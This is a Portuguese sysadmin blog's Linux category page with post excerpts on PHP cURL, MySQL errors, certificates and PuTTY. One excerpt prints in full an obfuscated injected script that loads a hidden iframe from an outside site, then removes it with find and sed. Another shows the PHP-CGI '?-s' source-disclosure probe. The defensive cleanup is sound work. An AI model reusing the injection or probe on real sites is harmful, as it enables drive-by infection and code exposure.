Arquivos da categoria: Linux

Acompanhamento de Progresso no cURL com PHP

Utilizo com certa frequencia o cURL em meus projetos e adoro ele por conta de todas as possibilidades que ele nos dá, principalmente com o envio de cabeçalhos. Mas uma novidade para mim foi descobrir que era possível o acompanhamento de progresso no cURL com PHP.

Achei isso simplesmente fantástico! Estava com um problema em que uma aplicação não conseguia fazer o download de arquivos muito grandes, mas como saber onde era o problema? Procurando na internet toda encontrei callback do cURL para PHP que nos avisa a toda vez que um pedaço do arquivo é baixado ou subido. Continue lendo

PHP Curl Timeout e ConnectTimeout

Encontrei um problema no usando o php curl timeout . Problema relativamente leve no meu código. Utilizando o cURL para fazer o download de arquivos em um dos meus projetos me deparei com o cancelamento do download. Debugando inicialmente pensei que o arquivo que estava baixando estivesse corrompido, mas não estava, conferi todas as fontes e elas estavam perfeitas.
Segundo achei que fosse o tempo de execução do PHP, mas reparei que estava usando ele em CLI, logo não teria esse problema.
Terceiro alguma merendagem minha na configuração do cURL, esse dentre os dois primeiros tinha altas chances de ser a correta, ou a incorreta. Depende da interpretação. Esse era mesmo o problema, mas como ter certeza disso? Debugando!

Observando o código que eu tinha que está abaixo, é possível ver que ele é um código simples que qualquer tutorial de php cURL na internet te ensina a montar. Continue lendo

mysql_innodb_error_pthread_create_returned_11

MySQL fora do ar com InnoDB: Error: pthread_create returned 11

Hoje pela manhã recebi algumas notificações, do Magento, dizendo que ele não conseguia se conectar ao MySQL. Como é de praxe, e sempre que acontece isso eu reinicio o MySQL no MK01 e tudo volta ao normal.

Dessa vez, não foi assim. O MySQL estava falhando a cada tentativa minha de iniciar ele, o log abaixo, do arquivo /var/log/syslog, é o da primeira tentativa de reiniciar o MySQL:

Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29 [Note] /usr/sbin/mysqld: Normal shutdown
Jun  4 09:48:29 mk01 mysqld:
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29 [Note] Event Scheduler: Purging the queue. 0 events
Jun  4 09:48:29 mk01 mysqld: 130604  9:48:29  InnoDB: Starting shutdown...
Jun  4 09:48:29 mk01 mysqld_safe: Starting mysqld daemon with databases from /var/lib/mysql Continue lendo

PHP-CGI query string parameters vulnerabitily

Uma massa de emails que lotou o espaço em disco do HD de um dos servidores da empresa em qual trabalho foi o que motivou esse post. Na verdade o fim do espaço em disco me levou a encontrar um BUG no PHP-CGI 5.2.6 que levava a execução de código arbitrário a partir dos parâmetros de linha de comando. Ou seja com o comando

http://localhost/index.php?-s

Você obtém o conteúdo do código PHP. Isso é muito bizarro!

1. O que estava acontecendo?

Uma massa de emails de spam estavam sendo enviados como sendo da Fedex, identificamos esses emails e paramos o Postfix. No momento em que paramos, observamos a crescente fila de email e o decrescente espaço em disco.

Localizamos o foco da invasão, um dos sites que administramos estava com permissão na pasta e nos arquivos de usuário e grupo para o www-data. E o spammer havia criado um arquivo chamado pagenews.php e umas variações de w98089n.php (w[0-9]{1,8}n.php, mais ou menos isso).
Continue lendo

private_key

Guia rápido de conversão e criação de certificados

Esse é um guia rápido de referência para a conversão de certificados e a criação de certificados. Todos os comandos para a conversão ou a criação foram feitos no shell do Linux, a distro que usei foi o Gentoo. Continue lendo

Exportando e importando dados do mySQL por linha de comando

A motivação que me fez criar esse post partiu de um dos itens de um teste que bolamos aqui na empresa para uma vaga de SysAdmin Linux. A partir do momento em que alguns candidatos a vaga encontravam alguma dificuldade para restaurar um dump do mySQL por linha de comando (sendo não ser obrigatório por linha de comando).

Nesta página temos as sessões:

  1. Basicamente fazendo o dump do mySQL
  2. Restaurando um banco mySQL
  3. Atenção as setas!

Buscar e substituir em muitos arquivos find e sed

Se você chegou até aqui é por que o seu site foi atacado! E você ainda não sabe a origem do ataque, e eu também não sei ! Pule para o passo 1
Ou porquê você quer aprender a buscar e substituir no Linux! - Pule para o passo 2

 

Passo 1 -

Mas aqui tenho uma solução para remover o script malicioso de todos os seus arquivos PHP sem ter que abrir um por um, com uma só linha de comando no Linux você procura em todos os arquivos por uma expressão regular e substitue o script por string vazia.

 

Passo 2 -

O script que aparece no final de todos os arquivos é o abaixo:

<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%61%74%74%77%77%2E%63%6F%6D%2F%3F%32%32%36%39%36%32%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->
Usando o find com o sed, removemos o script de todos os arquivos:
  • find para achar todos os arquivos PHP:
    find . -iname "*.php"

  • o sed para substituir a parte do texto que bate com a expressão regular:
    sed -i 's/<script.*uy7gdr5332rkmn -->/ /g'

Agora é só usar os dois ao mesmo tempo com pipe e xargs e deixe a mágica fluir!
find . -iname '*.php' | xargs sed -i 's/<script.*uy7gdr5332rkmn -->/ /g'

Por hoje é só!
Abraços

Executando comandos em Linux a partir do Windows

Afim de automatizar alguns sistemas da empresa se fez necessário que tivessemos de chamar a partir do Windows um script em Python em um outro servidor.

Eu sabia que dava pra fazer dava pra fazer isso de linux para linux via linha de comando usando o ssh, dai achei que também daria pra fazer com o Putty, via linha de comando do Windows.
Bem é possível: http://the.earth.li/~sgtatham/putty/0.60/htmldoc/Chapter3.html#using-cmdline

Como segue:

putty.exe -pw SENHA bingo@server.exemplo.com -P 2233 -m comandos.txt

Opções
-pw senha do usuário bingo do server.exemplo.com
- bingo@server.exemplo.com | [user@host]
user - bingo
host - server.exemplo.com

-P porta do ssh, normalmente é 22. Mas no meu caso tive que alterar
-m caminho para o arquivo local que contém os comandos a serem executados

comandos.txt:

python /home/bingo/upload_arquivos.py
python /home/bingo/deleta_arquivos.py
wget http://www.site.com

contei com a ajuda de Douglas Maciel: twitter.com/_dmaciel_

É isso é realmente muito útil!
Até mais,